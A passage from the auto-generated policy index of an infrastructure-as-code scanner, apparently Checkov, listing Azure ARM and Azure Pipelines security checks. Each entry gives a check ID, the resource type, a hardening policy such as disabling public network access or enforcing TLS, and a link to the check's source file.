CKV_AZURE_104 | resource | Microsoft.DataFactory/factories | Ensure that Azure Data factory public network access is disabled | arm | [DataFactoryNoPublicNetworkAccess.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/DataFactoryNoPublicNetworkAccess.py) | | 110 | CKV_AZURE_105 | resource | Microsoft.DataLakeStore/accounts | Ensure that Data Lake Store accounts enables encryption | arm | [DataLakeStoreEncryption.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/DataLakeStoreEncryption.py) | | 111 | CKV_AZURE_107 | resource | Microsoft.ApiManagement/service | Ensure that API management services use virtual networks | arm | [APIServicesUseVirtualNetwork.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/APIServicesUseVirtualNetwork.py) | | 112 | CKV_AZURE_109 | resource | Microsoft.KeyVault/vaults | Ensure that key vault allows firewall rules settings | arm | [KeyVaultEnablesFirewallRulesSettings.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/KeyVaultEnablesFirewallRulesSettings.py) | | 113 | CKV_AZURE_110 | resource | Microsoft.KeyVault/vaults | Ensure that key vault enables purge protection | arm | [KeyVaultEnablesPurgeProtection.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/KeyVaultEnablesPurgeProtection.py) | | 114 | CKV_AZURE_111 | resource | Microsoft.KeyVault/vaults | Ensure that key vault enables soft delete | arm | [KeyVaultEnablesSoftDelete.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/KeyVaultEnablesSoftDelete.py) | | 115 | CKV_AZURE_112 | resource | Microsoft.KeyVault/vaults/keys | Ensure that key vault key is backed by HSM | arm | [KeyBackedByHSM.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/KeyBackedByHSM.py) | | 116 | CKV_AZURE_113 | resource | Microsoft.Sql/servers | Ensure that SQL server disables public network access | arm | [SQLServerHasPublicAccessDisabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/SQLServerHasPublicAccessDisabled.py) | | 117 | CKV_AZURE_114 | resource | Microsoft.KeyVault/vaults/secrets | Ensure that key vault secrets have "content_type" set | arm | [SecretContentType.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/SecretContentType.py) | | 118 | CKV_AZURE_121 | resource | Microsoft.Network/frontDoors | Ensure that Azure Front Door enables WAF | arm | [AzureFrontDoorEnablesWAF.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/AzureFrontDoorEnablesWAF.py) | | 119 | CKV_AZURE_123 | resource | Microsoft.Network/FrontDoorWebApplicationFirewallPolicies | Ensure that Azure Front Door uses WAF in "Detection" or "Prevention" modes | arm | [FrontdoorUseWAFMode.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/FrontdoorUseWAFMode.py) | | 120 | CKV_AZURE_125 | resource | Microsoft.ServiceFabric/clusters | Ensures that Service Fabric use three levels of protection available | arm | [AzureServiceFabricClusterProtectionLevel.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/AzureServiceFabricClusterProtectionLevel.py) | | 121 | CKV_AZURE_129 | resource | Microsoft.DBforMariaDB/servers | Ensure that MariaDB server enables geo-redundant backups | arm | [MariaDBGeoBackupEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/MariaDBGeoBackupEnabled.py) | | 122 | CKV_AZURE_130 | resource | Microsoft.DBforPostgreSQL/servers | Ensure that PostgreSQL server enables infrastructure encryption | arm | [PostgreSQLEncryptionEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/PostgreSQLEncryptionEnabled.py) | | 123 | CKV_AZURE_131 | parameter | secureString | SecureString parameter should not have hardcoded default values | arm | [SecureStringParameterNoHardcodedValue.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/parameter/SecureStringParameterNoHardcodedValue.py) | | 124 | CKV_AZURE_132 | resource | Microsoft.DocumentDB/databaseAccounts | Ensure cosmosdb does not allow privileged escalation by restricting management plane changes | arm | [CosmosDBDisableAccessKeyWrite.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/CosmosDBDisableAccessKeyWrite.py) | | 125 | CKV_AZURE_133 | resource | Microsoft.Network/frontdoorWebApplicationFirewallPolicies | Ensure Front Door WAF prevents message lookup in Log4j2. See CVE-2021-44228 aka log4jshell | arm | [FrontDoorWAFACLCVE202144228.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/FrontDoorWAFACLCVE202144228.py) | | 126 | CKV_AZURE_134 | resource | Microsoft.CognitiveServices/accounts | Ensure that Cognitive Services accounts disable public network access | arm | [CognitiveServicesDisablesPublicNetwork.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/CognitiveServicesDisablesPublicNetwork.py) | | 127 | CKV_AZURE_135 | resource | Microsoft.Network/ApplicationGatewayWebApplicationFirewallPolicies | Ensure Application Gateway WAF prevents message lookup in Log4j2. See CVE-2021-44228 aka log4jshell | arm | [AppGatewayWAFACLCVE202144228.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/AppGatewayWAFACLCVE202144228.py) | | 128 | CKV_AZURE_137 | resource | Microsoft.ContainerRegistry/registries | Ensure ACR admin account is disabled | arm | [ACRAdminAccountDisabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/ACRAdminAccountDisabled.py) | | 129 | CKV_AZURE_138 | resource | Microsoft.ContainerRegistry/registries | Ensures that ACR disables anonymous pulling of images | arm | [ACRAnonymousPullDisabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/ACRAnonymousPullDisabled.py) | | 130 | CKV_AZURE_139 | resource | Microsoft.ContainerRegistry/registries | Ensure ACR set to disable public networking | arm | [ACRPublicNetworkAccessDisabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/ACRPublicNetworkAccessDisabled.py) | | 131 | CKV_AZURE_140 | resource | Microsoft.DocumentDB/databaseAccounts | Ensure that Local Authentication is disabled on CosmosDB | arm | [CosmosDBLocalAuthDisabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/CosmosDBLocalAuthDisabled.py) | | 132 | CKV_AZURE_141 | resource | Microsoft.ContainerService/managedClusters | Ensure AKS local admin account is disabled | arm | [AKSLocalAdminDisabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/AKSLocalAdminDisabled.py) | | 133 | CKV_AZURE_145 | resource | Microsoft.Web/sites | Ensure Function app is using the latest version of TLS encryption | arm | [FunctionAppMinTLSVersion.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/FunctionAppMinTLSVersion.py) | | 134 | CKV_AZURE_145 | resource | Microsoft.Web/sites/slots | Ensure Function app is using the latest version of TLS encryption | arm | [FunctionAppMinTLSVersion.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/FunctionAppMinTLSVersion.py) | | 135 | CKV_AZURE_149 | resource | Microsoft.Compute/virtualMachineScaleSets | Ensure that Virtual machine does not enable password authentication | arm | [VMDisablePasswordAuthentication.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/VMDisablePasswordAuthentication.py) | | 136 | CKV_AZURE_149 | resource | Microsoft.Compute/virtualMachines | Ensure that Virtual machine does not enable password authentication | arm | [VMDisablePasswordAuthentication.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/VMDisablePasswordAuthentication.py) | | 137 | CKV_AZURE_151 | resource | Microsoft.Compute/virtualMachines | Ensure Windows VM enables encryption | arm | [WinVMEncryptionAtHost.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/WinVMEncryptionAtHost.py) | | 138 | CKV_AZURE_153 | resource | Microsoft.Web/sites | Ensure web app redirects all HTTP traffic to HTTPS in Azure App Service Slot | arm | [AppServiceSlotHTTPSOnly.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/AppServiceSlotHTTPSOnly.py) | | 139 | CKV_AZURE_153 | resource | Microsoft.Web/sites/slots | Ensure web app redirects all HTTP traffic to HTTPS in Azure App Service Slot | arm | [AppServiceSlotHTTPSOnly.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/AppServiceSlotHTTPSOnly.py) | | 140 | CKV_AZURE_155 | resource | Microsoft.Web/sites | Ensure debugging is disabled for the App service slot | arm | [AppServiceSlotDebugDisabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/AppServiceSlotDebugDisabled.py) | | 141 | CKV_AZURE_155 | resource | Microsoft.Web/sites/slots | Ensure debugging is disabled for the App service slot | arm | [AppServiceSlotDebugDisabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/AppServiceSlotDebugDisabled.py) | | 142 | CKV_AZURE_157 | resource | Microsoft.Synapse/workspaces | Ensure that Synapse workspace has data_exfiltration_protection_enabled | arm | [SynapseWorkspaceEnablesDataExfilProtection.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/SynapseWorkspaceEnablesDataExfilProtection.py) | | 143 | CKV_AZURE_158 | resource | Microsoft.Databricks/workspaces | Ensure Databricks Workspace data plane to control plane communication happens over private link | arm | [DatabricksWorkspaceIsNotPublic.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/DatabricksWorkspaceIsNotPublic.py) | | 144 | CKV_AZURE_160 | resource | Microsoft.Network/networkSecurityGroups | Ensure that HTTP (port 80) access is restricted from the internet | arm | [NSGRuleHTTPAccessRestricted.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/NSGRuleHTTPAccessRestricted.py) | | 145 | CKV_AZURE_160 | resource | Microsoft.Network/networkSecurityGroups/securityRules | Ensure that HTTP (port 80) access is restricted from the internet | arm | [NSGRuleHTTPAccessRestricted.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/NSGRuleHTTPAccessRestricted.py) | | 146 | CKV_AZURE_163 | resource | Microsoft.ContainerRegistry/registries | Enable vulnerability scanning for container images. | arm | [ACRContainerScanEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/ACRContainerScanEnabled.py) | | 147 | CKV_AZURE_166 | resource | Microsoft.ContainerRegistry/registries | Ensure container image quarantine, scan, and mark images verified | arm | [ACREnableImageQuarantine.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/ACREnableImageQuarantine.py) | | 148 | CKV_AZURE_168 | resource | Microsoft.ContainerService/managedClusters | Ensure Azure Kubernetes Cluster (AKS) nodes should use a minimum number of 50 pods. | arm | [AKSMaxPodsMinimum.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/AKSMaxPodsMinimum.py) | | 149 | CKV_AZURE_168 | resource | Microsoft.ContainerService/managedClusters/agentPools | Ensure Azure Kubernetes Cluster (AKS) nodes should use a minimum number of 50 pods. | arm | [AKSMaxPodsMinimum.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/AKSMaxPodsMinimum.py) | | 150 | CKV_AZURE_169 | resource | Microsoft.ContainerService/managedClusters | Ensure Azure Kubernetes Cluster (AKS) nodes use scale sets | arm | [AKSPoolTypeIsScaleSet.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/AKSPoolTypeIsScaleSet.py) | | 151 | CKV_AZURE_171 | resource | Microsoft.ContainerService/managedClusters | Ensure AKS cluster upgrade channel is chosen | arm | [AKSUpgradeChannel.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/AKSUpgradeChannel.py) | | 152 | CKV_AZURE_172 | resource | Microsoft.ContainerService/managedClusters | Ensure autorotation of Secrets Store CSI Driver secrets for AKS clusters | arm | [AkSSecretStoreRotation.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/AkSSecretStoreRotation.py) | | 153 | CKV_AZURE_173 | resource | Microsoft.ApiManagement/service | Ensure API management uses at least TLS 1.2 | arm | [APIManagementMinTLS12.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/APIManagementMinTLS12.py) | | 154 | CKV_AZURE_174 | resource | Microsoft.ApiManagement/service | Ensure API management public access is disabled | arm | [APIManagementPublicAccess.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/APIManagementPublicAccess.py) | | 155 | CKV_AZURE_175 | resource | Microsoft.SignalRService/webPubSub | Ensure Web PubSub uses a SKU with an SLA | arm | [PubsubSKUSLA.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/PubsubSKUSLA.py) | | 156 | CKV_AZURE_176 | resource | Microsoft.SignalRService/webPubSub | Ensure Web PubSub uses managed identities to access Azure resources | arm | [PubsubSpecifyIdentity.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/PubsubSpecifyIdentity.py) | | 157 | CKV_AZURE_177 | resource | Microsoft.Compute/virtualMachineScaleSets | Ensure Windows VM enables automatic updates | arm | [WinVMAutomaticUpdates.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/WinVMAutomaticUpdates.py) | | 158 | CKV_AZURE_177 | resource | Microsoft.Compute/virtualMachines | Ensure Windows VM enables automatic updates | arm | [WinVMAutomaticUpdates.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/WinVMAutomaticUpdates.py) | | 159 | CKV_AZURE_178 | resource | Microsoft.Compute/virtualMachineScaleSets | Ensure linux VM enables SSH with keys for secure communication | arm | [LinuxVMUsesSSH.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/LinuxVMUsesSSH.py) | | 160 | CKV_AZURE_178 | resource | Microsoft.Compute/virtualMachines | Ensure linux VM enables SSH with keys for secure communication | arm | [LinuxVMUsesSSH.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/LinuxVMUsesSSH.py) | | 161 | CKV_AZURE_182 | resource | Microsoft.Network/networkInterfaces | Ensure that VNET has at least 2 connected DNS Endpoints | arm | [VnetSingleDNSServer.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/VnetSingleDNSServer.py) | | 162 | CKV_AZURE_182 | resource | Microsoft.Network/virtualNetworks | Ensure that VNET has at least 2 connected DNS Endpoints | arm | [VnetSingleDNSServer.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/VnetSingleDNSServer.py) | | 163 | CKV_AZURE_183 | resource | Microsoft.Network/virtualNetworks | Ensure that VNET uses local DNS addresses | arm | [VnetLocalDNS.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/VnetLocalDNS.py) | | 164 | CKV_AZURE_189 | resource | Microsoft.KeyVault/vaults | Ensure that Azure Key Vault disables public network access | arm | [KeyVaultDisablesPublicNetworkAccess.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/KeyVaultDisablesPublicNetworkAccess.py) | | 165 | CKV_AZURE_191 | resource | Microsoft.EventGrid/topics | Ensure that Managed identity provider is enabled for Azure Event Grid Topic | arm | [EventgridTopicIdentityProviderEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/EventgridTopicIdentityProviderEnabled.py) | | 166 | CKV_AZURE_192 | resource | Microsoft.EventGrid/topics | Ensure that Azure Event Grid Topic local Authentication is disabled | arm | [EventgridTopicLocalAuthentication.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/EventgridTopicLocalAuthentication.py) | | 167 | CKV_AZURE_193 | resource | Microsoft.EventGrid/topics | Ensure public network access is disabled for Azure Event Grid Topic | arm | [EventgridTopicNetworkAccess.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/EventgridTopicNetworkAccess.py) | | 168 | CKV_AZURE_206 | resource | Microsoft.Storage/storageAccounts | Ensure that Storage Accounts use replication | arm | [StorageAccountsUseReplication.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/StorageAccountsUseReplication.py) | | 169 | CKV_AZURE_208 | resource | Microsoft.Search/searchServices | Ensure that Azure Cognitive Search maintains SLA for index updates | arm | [AzureSearchSLAIndex.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/AzureSearchSLAIndex.py) | | 170 | CKV_AZURE_209 | resource | Microsoft.Search/searchServices | Ensure that Azure Cognitive Search maintains SLA for search index queries | arm | [AzureSearchSLAQueryUpdates.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/AzureSearchSLAQueryUpdates.py) | | 171 | CKV_AZURE_212 | resource | Microsoft.Web/sites | Ensure App Service has a minimum number of instances for failover | arm | [AppServiceInstanceMinimum.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/AppServiceInstanceMinimum.py) | | 172 | CKV_AZURE_212 | resource | Microsoft.Web/sites/slots | Ensure App Service has a minimum number of instances for failover | arm | [AppServiceInstanceMinimum.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/AppServiceInstanceMinimum.py) | | 173 | CKV_AZURE_213 | resource | Microsoft.Web/sites | Ensure that App Service configures health check | arm | [AppServiceSetHealthCheck.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/AppServiceSetHealthCheck.py) | | 174 | CKV_AZURE_213 | resource | Microsoft.Web/sites/slots | Ensure that App Service configures health check | arm | [AppServiceSetHealthCheck.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/AppServiceSetHealthCheck.py) | | 175 | CKV_AZURE_216 | resource | Microsoft.Network/azureFirewalls | Ensure DenyIntelMode is set to Deny for Azure Firewalls | arm | [AzureFirewallDenyThreatIntelMode.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/AzureFirewallDenyThreatIntelMode.py) | | 176 | CKV_AZURE_218 | resource | Microsoft.Network/applicationGateways | Ensure Application Gateway defines secure protocols for in transit communication | arm | [AppGWDefinesSecureProtocols.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/AppGWDefinesSecureProtocols.py) | | 177 | CKV_AZURE_222 | resource | Microsoft.Web/sites | Ensure that Azure Web App public network access is disabled | arm | [AppServicePublicAccessDisabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/AppServicePublicAccessDisabled.py) | | 178 | CKV_AZURE_222 | resource | Microsoft.Web/sites/config | Ensure that Azure Web App public network access is disabled | arm | [AppServicePublicAccessDisabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/AppServicePublicAccessDisabled.py) | | 179 | CKV_AZURE_222 | resource | Microsoft.Web/sites/slots | Ensure that Azure Web App public network access is disabled | arm | [AppServicePublicAccessDisabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/AppServicePublicAccessDisabled.py) | | 180 | CKV_AZURE_223 | resource | Microsoft.EventHub/namespaces | Ensure Event Hub Namespace uses at least TLS 1.2 | arm | [EventHubNamespaceMinTLS12.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/EventHubNamespaceMinTLS12.py) | | 181 | CKV_AZURE_225 | resource | Microsoft.Web/serverfarms | Ensure the App Service Plan is zone redundant | arm | [AppServicePlanZoneRedundant.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/AppServicePlanZoneRedundant.py) | | 182 | CKV_AZURE_226 | resource | Microsoft.ContainerService/managedClusters | Ensure ephemeral disks are used for OS disks | arm | [AKSEphemeralOSDisks.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/AKSEphemeralOSDisks.py) | | 183 | CKV_AZURE_227 | resource | Microsoft.ContainerService/managedClusters | Ensure that the AKS cluster encrypt temp disks, caches, and data flows between Compute and Storage resources | arm | [AKSEncryptionAtHostEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/AKSEncryptionAtHostEnabled.py) | | 184 | CKV_AZURE_227 | resource | Microsoft.ContainerService/managedClusters/agentPools | Ensure that the AKS cluster encrypt temp disks, caches, and data flows between Compute and Storage resources | arm | [AKSEncryptionAtHostEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/AKSEncryptionAtHostEnabled.py) | | 185 | CKV_AZURE_229 | resource | Microsoft.Sql/servers/databases | Ensure the Azure SQL Database Namespace is zone redundant | arm | [SQLDatabaseZoneRedundant.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/SQLDatabaseZoneRedundant.py) | | 186 | CKV_AZURE_233 | resource | Microsoft.ContainerRegistry/registries | Ensure Azure Container Registry (ACR) is zone redundant | arm | [ACREnableZoneRedundancy.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/ACREnableZoneRedundancy.py) | | 187 | CKV_AZURE_233 | resource | Microsoft.ContainerRegistry/registries/replications | Ensure Azure Container Registry (ACR) is zone redundant | arm | [ACREnableZoneRedundancy.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/ACREnableZoneRedundancy.py) | | 188 | CKV_AZURE_236 | resource | Microsoft.CognitiveServices/accounts | Ensure that Cognitive Services accounts disable local authentication | arm | [CognitiveServicesEnableLocalAuth.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/CognitiveServicesEnableLocalAuth.py) | | 189 | CKV_AZURE_238 | resource | Microsoft.CognitiveServices/accounts | Ensure that all Azure Cognitive Services accounts are configured with a managed identity | arm | [CognitiveServicesConfigureIdentity.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/CognitiveServicesConfigureIdentity.py) | | 190 | CKV_AZURE_239 | resource | Microsoft.Synapse/workspaces | Ensure Azure Synapse Workspace administrator login password is not exposed | arm | [SynapseWorkspaceAdministratorLoginPasswordHidden.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/SynapseWorkspaceAdministratorLoginPasswordHidden.py) | | 191 | CKV_AZURE_240 | resource | Microsoft.Synapse/workspaces | Ensure Azure Synapse Workspace is encrypted with a CMK | arm | [SynapseWorkspaceCMKEncryption.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/SynapseWorkspaceCMKEncryption.py) | | 192 | CKV_AZURE_242 | resource | Microsoft.Synapse/workspaces/bigDataPools | Ensure isolated compute is enabled for Synapse Spark pools | arm | [AzureSparkPoolIsolatedComputeEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/AzureSparkPoolIsolatedComputeEnabled.py) | | 193 | CKV_AZURE_243 | resource | Microsoft.MachineLearningServices/workspaces | Ensure Azure Machine learning workspace is configured with private endpoint | arm | [AzureMLWorkspacePrivateEndpoint.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/AzureMLWorkspacePrivateEndpoint.py) | | 194 | CKV_AZURE_248 | resource | Microsoft.Batch/batchAccounts | Ensure that if Azure Batch account public network access in case 'enabled' then its account access must be 'deny' | arm | [AzureBatchAccountEndpointAccessDefaultAction.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/AzureBatchAccountEndpointAccessDefaultAction.py) | | 195 | CKV2_AZURE_19 | resource | Microsoft.Synapse/workspaces | Ensure that Azure Synapse workspaces have no IP firewall rules attached | arm | [AzureSynapseWorkspacesHaveNoIPFirewallRulesAttached.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/AzureSynapseWorkspacesHaveNoIPFirewallRulesAttached.py) | | 196 | CKV2_AZURE_23 | resource | Microsoft.AppPlatform/Spring | Ensure Azure spring cloud is configured with Virtual network (Vnet) | arm | [AzureSpringCloudConfigWithVnet.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/graph_checks/AzureSpringCloudConfigWithVnet.yaml) | | 197 | CKV2_AZURE_27 | resource | Microsoft.Sql/servers | Ensure Azure AD authentication is enabled for Azure SQL (MSSQL) | arm | [SQLServerUsesADAuth.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/SQLServerUsesADAuth.py) | | 198 | CKV2_AZURE_46 | resource | Microsoft.Synapse/workspaces/vulnerabilityAssessments | Ensure that Azure Synapse Workspace vulnerability assessment is enabled | arm | [AzureSynapseWorkspaceVAisEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/AzureSynapseWorkspaceVAisEnabled.py) | | 199 | CKV2_AZURE_48 | resource | Microsoft.Databricks/workspaces | Ensure that Databricks Workspaces enables customer-managed key for root DBFS encryption | arm | [DatabricksWorkspaceDBFSRootEncryptedWithCustomerManagedKey.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/DatabricksWorkspaceDBFSRootEncryptedWithCustomerManagedKey.py) | | 200 | CKV2_AZURE_49 | resource | Microsoft.MachineLearningServices/workspaces | Ensure that Azure Machine learning workspace is not configured with overly permissive network access | arm | [AzureMLWorkspacePublicNetwork.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/graph_checks/AzureMLWorkspacePublicNetwork.yaml) | | 201 | CKV2_AZURE_51 | resource | Microsoft.Sql/servers/securityAlertPolicies | Ensure Synapse SQL Pool has a security alert policy | arm | [SynapseSQLPoolHasSecurityAlertPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/graph_checks/SynapseSQLPoolHasSecurityAlertPolicy.yaml) | | 202 | CKV2_AZURE_51 | resource | Microsoft.Synapse/workspaces/sqlPools | Ensure Synapse SQL Pool has a security alert policy | arm | [SynapseSQLPoolHasSecurityAlertPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/graph_checks/SynapseSQLPoolHasSecurityAlertPolicy.yaml) | | 203 | CKV2_AZURE_52 | resource | Microsoft.Sql/servers/securityAlertPolicies | Ensure Synapse SQL Pool has vulnerability assessment attached | arm | [SynapseSQLPoolHasVulnerabilityAssessment.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/graph_checks/SynapseSQLPoolHasVulnerabilityAssessment.yaml) | | 204 | CKV2_AZURE_52 | resource | Microsoft.Sql/servers/vulnerabilityAssessments | Ensure Synapse SQL Pool has vulnerability assessment attached | arm | [SynapseSQLPoolHasVulnerabilityAssessment.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/graph_checks/SynapseSQLPoolHasVulnerabilityAssessment.yaml) | | 205 | CKV2_AZURE_52 | resource | Microsoft.Synapse/workspaces/sqlPools | Ensure Synapse SQL Pool has vulnerability assessment attached | arm | [SynapseSQLPoolHasVulnerabilityAssessment.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/graph_checks/SynapseSQLPoolHasVulnerabilityAssessment.yaml) | | 206 | CKV2_AZURE_53 | resource | Microsoft.Synapse/workspaces | Ensure Azure Synapse Workspace has extended audit logs | arm | [SynapseWorkspaceHasExtendedAuditLogs.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/graph_checks/SynapseWorkspaceHasExtendedAuditLogs.yaml) | | 207 | CKV2_AZURE_53 | resource | Microsoft.Synapse/workspaces/extendedAuditingPolicies | Ensure Azure Synapse Workspace has extended audit logs | arm | [SynapseWorkspaceHasExtendedAuditLogs.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/graph_checks/SynapseWorkspaceHasExtendedAuditLogs.yaml) | | 208 | CKV2_AZURE_54 | resource | Microsoft.Synapse/workspaces/sqlPools | Ensure log monitoring is enabled for Synapse SQL Pool | arm | [SynapseLogMonitoringEnabledForSQLPool.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/graph_checks/SynapseLogMonitoringEnabledForSQLPool.yaml) | | 209 | CKV2_AZURE_54 | resource | Microsoft.Synapse/workspaces/sqlPools/auditingSettings | Ensure log monitoring is enabled for Synapse SQL Pool | arm | [SynapseLogMonitoringEnabledForSQLPool.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/graph_checks/SynapseLogMonitoringEnabledForSQLPool.yaml) | --- ================================================ FILE: docs/5.Policy Index/azure_pipelines.md ================================================ --- layout: default title: azure_pipelines resource scans nav_order: 1 --- # azure_pipelines resource scans (auto generated) | | Id | Type | Entity | Policy | IaC | Resource Link | |----|----------------------|-----------------|-------------------------|-----------------------------------------------------|-----------------|-------------------------------------------------------------------------------------------------------------------------------------| | 0 | CKV_AZUREPIPELINES_1 | azure_pipelines | jobs | Ensure container job uses a non latest version tag | Azure Pipelines | [ContainerLatestTag.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/azure_pipelines/checks/job/ContainerLatestTag.py) | | 1 | CKV_AZUREPIPELINES_1 | azure_pipelines | stages[].jobs[] | Ensure container job uses a non latest version tag | Azure Pipelines | [ContainerLatestTag.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/azure_pipelines/checks/job/ContainerLatestTag.py) | | 2 | CKV_AZUREPIPELINES_2 | azure_pipelines | jobs | Ensure container job uses a version digest | Azure Pipelines | [ContainerDigest.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/azure_pipelines/checks/job/ContainerDigest.py) | | 3 | CKV_AZUREPIPELINES_2 | azure_pipelines | stages[].jobs[] | Ensure container job uses a version digest | Azure Pipelines | [ContainerDigest.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/azure_pipelines/checks/job/ContainerDigest.py) | | 4 | CKV_AZUREPIPELINES_3 | azure_pipelines | jobs[].steps[] | Ensure set variable is not marked as a secret | Azure 